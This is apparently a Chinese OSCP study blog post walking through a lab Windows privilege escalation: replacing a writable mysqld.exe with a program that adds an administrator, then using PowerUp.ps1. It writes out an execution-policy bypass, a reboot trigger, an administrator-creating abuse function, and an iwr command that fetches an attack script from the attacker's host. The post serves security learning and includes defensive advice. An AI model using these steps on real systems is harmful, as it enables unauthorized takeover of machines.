⓫⁄₈ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 滥用Windows服务提权(下)

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀​

​​​

▶ 信息收集

▶ 漏洞检测
初始立足点

权限提升 ➢ Windows权限提升 ➢ 滥用Windows服务提权(下) 🔥🔥🔥
横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.Windows权限提升

[1.1 Windows服务漏洞与权限提升](#1.1 Windows服务漏洞与权限提升)

[1.1.2 劫持服务二进制文件攻击实战](#1.1.2 劫持服务二进制文件攻击实战)

[1.1.2.4 制作恶意二进制文件并替换(原来的mysqld.exe)](#1.1.2.4 制作恶意二进制文件并替换(原来的mysqld.exe))

1.创建恶意C程序

2.交叉编译为Windows可执行文件.exe

3.传输恶意二进制文件并替换原来的mysqld.exe

[1.2.1.5 通过服务重启执行恶意程序](#1.2.1.5 通过服务重启执行恶意程序)

1.检查服务启动类型

2.检查用户dave重启机器权限

3.触发重启

[1.2.1.6 验证提权成功](#1.2.1.6 验证提权成功)

[1.1.3 使用自动化工具PowerUp.ps1提权](#1.1.3 使用自动化工具PowerUp.ps1提权)

[1.1.3.1 PowerUp.ps1工具简介](#1.1.3.1 PowerUp.ps1工具简介)

[1.1.3.2 环境准备与脚本下载](#1.1.3.2 环境准备与脚本下载)

[1.在kali中启动Python Web服务器](#1.在kali中启动Python Web服务器)

2.下载PowerUp.ps1脚本

3.修改PowerShell执行策略为bypass

4.导入(运行)PowerUp.ps1脚本

[1.1.3.3 检测用户可修改的服务文件](#1.1.3.3 检测用户可修改的服务文件)

[1.1.3.4 尝试自动化利用(失败)](#1.1.3.4 尝试自动化利用(失败))

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.Windows权限提升

在渗透测试中,我们通常以非特权用户 身份获得初始立足点。但为了深入探测(如搜索敏感信息、提取密码哈希等),往往需要提升至管理员权限( 比如:使用Mimikatz提取密码哈希**),** 这个过程就是特权提升

📊 权限提升三大路径: 本文开始介绍:++利用windows服务漏洞进行权限提升++。

阶段 目标 关键方法
1. 枚举Windows 获取系统情报 手动搜索 + 自动化工具
2. 滥用Windows服务 攻击服务漏洞 服务配置缺陷、权限滥用
3. 利用其他组件 扩大攻击面 计划任务、系统漏洞利用

1.1 Windows服务漏洞与权限提升

1.1.2 劫持服务二进制文件攻击实战

接前文。

1.1.2.4 制作恶意二进制文件并替换(原来的mysqld.exe)
1.创建恶意C程序

在Kali上创建一个小的二进制文件,用它来替换原来的mysqld.exe

**以下C代码作用:**创建一个名为dave2的用户,并使用system函数将该用户添加到本地管理员组中。

将上面的代码保存在Kali上,文件名为adduser.c。

2.交叉编译为Windows可执行文件.exe

接下来,在Kali上使用mingw-64进行交叉编译。由于知道目标机器是64位的,使用编译器++x86_64-w64-mingw32-gcc++。

bash 复制代码
$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
复制代码
3.传输恶意二进制文件并替换原来的mysqld.exe
步骤 攻击方(Kali) 受害方(Windows) 目的
1. 准备阶段 准备恶意adduser.exe - 确定传输目标
2. 投送阶段 启动Python3 HTTP服务器 使用iwr下载恶意文件 将恶意程序传输至目标
3. 替换阶段 - 备份原mysqld.exe至用户目录 保留恢复可能
4. 覆盖阶段 - 将恶意程序重命名为mysqld.exe 完成二进制劫持

在Kali启动Web服务:python3 -m http.server 80 ,把恶意文件放在目录下,使用iwr下载。


1.2.1.5 通过服务重启执行恶意程序

为了通过服务执行二进制文件,需要重新启动服务。使用net stop命令停止服务,但用户dave没权限停止服务。(大多数服务只能由管理员权限重启)

1.检查服务启动类型

由于没有权限手动重新启动服务,必须考虑另一种方法:如果服务启动类型设置为**" 自动"** ,意味着可以**++++通过重新启动机器来重新启动服务++++**。

bash 复制代码
> Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

显示:该服务设置为++自动++,意味着在重新启动机器后会自动启动。

2.检查用户dave重启机器权限

为了执行重新启动机器,用户dave需要被分配SeShutDownPrivilege特权 。使用whoami /priv来获取dave的所有特权。

上图解析:

权限检查项 当前状态 实际意义
权限存在性 ✅ SeShutdownPrivilege 存在 用户具备 关机/重启的能力
权限启用状态 ⚠️ 显示为"disabled" 仅表示 whoami进程未请求使用 此权限
实际可用性 ✅ 可以执行关机操作 权限存在即可通过 shutdown 命令触发

💡 核心要点:

  • 存在即有效 :权限在用户令牌中即表示功能可用

  • "禁用"≠"不能用" :仅反映当前进程的激活状态,不影响用户主动调用

  • 攻击优势 :无需等待系统自然重启,可主动触发服务重新启动

  • 若不存在SeShutdownPrivilege权限 ,将不得不等待目标主机被手动重启

3.触发重启
bash 复制代码
# 立即重启系统
shutdown /r /t 0

一旦重新启动完成,再次以用户dave通过RDP连接,然后打开一个PowerShell窗口。


1.2.1.6 验证提权成功

由于mysql服务发出的重新启动和启动类型为auto,该服务应该已执行我们放置以替换原始mysql服务二进制文件的可执行文件。

因为刚刚恶意可执行文件是创建用户dave2、并归到管理员组。

bash 复制代码
# 检查新创建的管理员用户
Get-LocalGroupMember administrators

结果 :用户dave2成功创建并加入管理员组!🎉

📋 验证结果

验证项目 预期结果 实际发现 结论
恶意程序执行 创建用户 dave2 用户 Dave2 存在于系统 ✅ 成功执行
权限提升 将用户加入 Administrators Dave2Administrators 组成员 ✅ 成功提权
攻击链完成 二进制劫持 → 服务重启 → 恶意代码执行 全部步骤按计划完成 🎉 攻击成功

1.1.3 使用自动化工具PowerUp.ps1提权

1.1.3.1 PowerUp.ps1工具简介

PowerUp.ps1PowerSploit 渗透测试工具包中的一款 PowerShell 脚本,用于检测并利用 Windows 系统中存在的服务配置错误、文件权限不当、计划任务漏洞 等,帮助测试人员实现权限提升

🔧核心功能详解表

功能类别 具体描述 关键点/利用方式
🔍 服务配置利用 检测运行在高权限账户下但文件权限设置不当的服务 • 替换/修改服务二进制文件 • 利用服务重启机制 • 通过服务持久化权限
📁 权限漏洞扫描 查找系统中存在权限问题的文件夹和注册表项 • 利用过宽的文件夹权限写入恶意文件 • 修改注册表键值实现持久化或提权 • 通过弱权限配置获取敏感信息
⏰ 计划任务利用 检测不安全的计划任务配置 • 替换计划任务执行的脚本或二进制文件 • 利用任务触发时机执行恶意代码 • 通过任务权限配置缺陷获取更高权限
🔗 反向Shell利用 通过脚本命令建立反向连接控制目标机器 • 使用内置函数生成和执行反向Shell • 绕过防火墙和网络限制 • 实现远程交互式控制

🛡️ 防御建议对应表

攻击方式 防御措施
服务配置利用 • 限制服务运行账户权限 • 设置严格的二进制文件ACL • 启用文件完整性监控
权限漏洞利用 • 定期审计文件夹和注册表权限 • 遵循最小权限原则 • 启用访问控制日志
计划任务利用 • 审查计划任务权限配置 • 限制任务执行账户权限 • 监控任务文件变更
反向Shell利用 • 配置网络出口过滤 • 部署主机入侵检测系统 • 限制PowerShell执行策略

1.1.3.2 环境准备与脚本下载

现在先恢复服务的原始状态,删除前文我们制作的恶意替换的二进制文件mysqld.exe,恢复备份的原始二进制文件,并重新启动系统,让一切恢复原样。

1.在kali中启动Python Web服务器

将PowerUp.ps1脚本复制到kali的主目录,并启动一个Python3 Web服务器来提供服务。

bash 复制代码
python3 -m http.server 80
2.下载PowerUp.ps1脚本

在目标机(CLIENTWK220)的Powershell下,把PowerUp.ps1脚本下载到本地。

bash 复制代码
> iwr -uri http://192.168.119.3/Powerup.ps1 -Outfile PowerUp.psl
3.修改PowerShell执行策略为bypass

在目标机(CLIENTWK220)启动PowerShell的 Bypass 执行策略

ExecutionPolicy Bypass(-ep bypass 是缩写)是一个用于临时更改PowerShell执行策略的命令参数:它允许PowerShell执行任何脚本或命令,而不受当前执行策略限制。否则,将无法运行脚本,因为它们被阻止了。

bash 复制代码
> powershell -ep bypass

🔸 什么是PowerShell执行策略?

PowerShell执行策略是Windows系统的一项安全机制,用于控制脚本的执行权限,以防止运行不受信任的潜在恶意代码。其常见策略包括:

  • Restricted(默认,禁止所有脚本)
  • AllSigned(仅允许受信任签名的脚本)
  • RemoteSigned(对网络下载脚本要求签名)
  • Unrestricted(允许所有脚本但发出警告)
  • Bypass(完全绕过所有限制)

使用powershell -ep bypass(或powershell -ExecutionPolicy Bypass即可在单次会话中临时禁用所有策略检查,从而无限制地执行任何脚本!

4.导入(运行)PowerUp.ps1脚本
bash 复制代码
> ..\PowerUp.ps1

1.1.3.3 检测用户可修改的服务文件

导入脚本后执行Get-ModifiableServiceFile函数。此函数显示当前用户可以修改的服务,例如:服务二进制文件或配置文件。

bash 复制代码
> Get-ModifiableServiceFile
  • 输出示例显示 mysql 服务可能存在漏洞,且 BUILTIN\Users 组对其二进制文件有修改权限。

  • ⚠️ 注意:输出中 CanRestartFalse,意味着当前用户无法直接重启服务。


1.1.3.4 尝试自动化利用(失败)

PowerUp.ps1脚本 还提供一个AbuseFunction函数 (具体函数为 Install-ServiceBinary),它是一个内置函数,用于替换二进制文件,并且如果有足够的权限,可重新启动它。

**默认行为是:**创建一个名为john的新本地用户,密码为Password123!,并将其添加到本地的Administrators组中。

运行内置的滥用函数:

bash 复制代码
> Install-ServiceBinary -Name 'mysql'
  • 若成功,该函数会替换服务二进制文件mysql,创建新管理员用户(默认:john/Password123!)。

  • ❌ 但在本例中,工具报错 ,提示当前用户无权修改服务二进制文件。

  • 然而在前文,我们已经确定对服务二进制文件mysql具有完全访问权限,并且证明我们可以手动替换该文件。

尽管 PowerUp 提示"无法修改",但之前手动验证 已确认用户 davemysqld.exe 拥有完全控制权。这说明:

🧠 自动化工具可能漏报或误报,手动分析仍是关键!
🛡️ 防御建议:定期审计服务权限、限制用户对系统目录的写入权、启用安全监控机制。

欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
玖釉-3 小时前
深入浅出:渲染管线中的抗锯齿技术全景解析
c++·windows·图形渲染
unable code3 小时前
磁盘取证-Flying_High
网络安全·ctf·misc·1024程序员节·磁盘取证
浩浩测试一下4 小时前
DDOS 应急响应Linux防火墙 Iptable 使用方式方法
linux·网络·安全·web安全·网络安全·系统安全·ddos
浩浩测试一下4 小时前
洪水猛兽攻击 Ddos Dos cc Drdos floods区别
安全·web安全·网络安全·系统安全·wpf·可信计算技术·安全架构
Knight_AL5 小时前
在 Windows 上安装本地 JAR 到 Maven 仓库
windows·maven·jar
春日见5 小时前
在 Windows中,WSL与Docker的关系
运维·开发语言·c++·windows·docker·容器
安徽必海微马春梅_6688A6 小时前
A实验:小动物无创血压系统 小动物无创血压分析系统 资料。
大数据·人工智能·网络安全·硬件工程·信号处理
说给风听.6 小时前
解决 Node.js 版本冲突:Windows 系统 nvm 安装与使用全指南
windows·node.js
70asunflower7 小时前
Ubuntu Terminal 从零开始教程 - Windows用户转Linux指南
linux·windows·ubuntu